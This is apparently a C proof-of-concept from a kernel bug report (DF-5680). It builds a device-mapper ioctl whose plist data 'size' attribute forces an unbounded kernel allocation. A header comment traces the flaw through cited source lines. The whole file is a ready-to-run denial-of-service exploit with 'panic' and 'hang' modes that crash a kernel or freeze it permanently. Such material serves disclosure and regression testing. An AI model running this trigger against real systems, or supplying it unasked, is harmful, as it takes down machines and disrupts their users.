DF-5680 / df5680_dmcrash.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | /* * DF-5680 — kernel trigger. * * Root/operator opens /dev/mapper/control (0640 root:operator) and issues * NETBSD_DM_IOCTL with a plistref pointing at: * * <plist version="1.0"><dict><key>a</key> * <data size="N">QQ==</data></dict></plist> * * dmioctl() -> prop_dictionary_copyin_ioctl() -> _prop_object_copyin() * (prop_kern.c:398-411) -> prop_dictionary_internalize(buf) -> * _prop_data_internalize (prop_data.c:543) sees the "size" attribute, * strtoul()s it into len (prop_data.c:572 — the ERANGE guard is compiled * out in-kernel at :573-576) and calls * * buf = _PROP_MALLOC(len + 1, M_PROP_DATA); // == kmalloc(len+1, * // M_PROP_DATA, M_WAITOK) * * with no upper bound (prop_data.c:588). In the kernel that is: * * panic mode (N = 2^63): size exceeds the kernel_map KVA span -> * vm_map_findspace() fails and kmem_slab_alloc() panics with * "kernel_map ran out of space!" (kern_slaballoc.c:1721-1724; * M_WAITOK does not include M_NULLOK so NULL is not an option). * * hang mode (N = 8GiB on a 4GiB guest): KVA is available but the * pages are not -> vm_page_alloc() returns NULL forever and the * M_WAITOK retry loop calls vm_wait(0) for eternity * (kern_slaballoc.c:1778-1804). The ioctl never returns; the * stuck thread is not signal-interruptible. * * usage: df5680_dmcrash panic|hang|<custom-size> */ #include <sys/types.h> #include <sys/ioctl.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> struct plistref { /* mirror of sys/libprop/plistref.h */ void *pref_plist; size_t pref_len; }; #define DM_IOCTL 0xfd #define NETBSD_DM_IOCTL _IOWR(DM_IOCTL, 0, struct plistref) static char * mkxml(const char *sizeval, size_t *lenp) { static const char *hdr = "<plist version=\"1.0\"><dict><key>a</key><data size=\""; static const char *mid = "\">QQ==</data></dict></plist>"; size_t hl = strlen(hdr), vl = strlen(sizeval), ml = strlen(mid); char *xml = malloc(hl + vl + ml + 1); if (xml == NULL) abort(); memcpy(xml, hdr, hl); memcpy(xml + hl, sizeval, vl); memcpy(xml + hl + vl, mid, ml + 1); *lenp = hl + vl + ml; return (xml); } int main(int argc, char **argv) { struct plistref pref; const char *sizeval; size_t len; char *xml; int fd; if (argc > 2) sizeval = argv[2]; else if (argc == 2 && strcmp(argv[1], "hang") == 0) sizeval = "8589934592"; /* 8 GiB > 4 GiB RAM */ else if (argc == 2 && strcmp(argv[1], "panic") == 0) sizeval = "9223372036854775808"; /* 2^63 > KVA span */ else { fprintf(stderr, "usage: %s panic|hang|<size>\n", argv[0]); return (2); } fd = open("/dev/mapper/control", O_RDWR); if (fd < 0) { perror("open /dev/mapper/control"); return (1); } xml = mkxml(sizeval, &len); pref.pref_plist = xml; pref.pref_len = len; fprintf(stderr, "DF5680: size=\"%s\" xml_len=%zu ... ioctl " "(kernel: expect panic or permanent hang)\n", sizeval, len); fflush(stderr); if (ioctl(fd, NETBSD_DM_IOCTL, &pref) < 0) perror("ioctl"); fprintf(stderr, "DF5680: ioctl RETURNED errno=%d (kernel survived " "size=\"%s\")\n", errno, sizeval); return (0); } |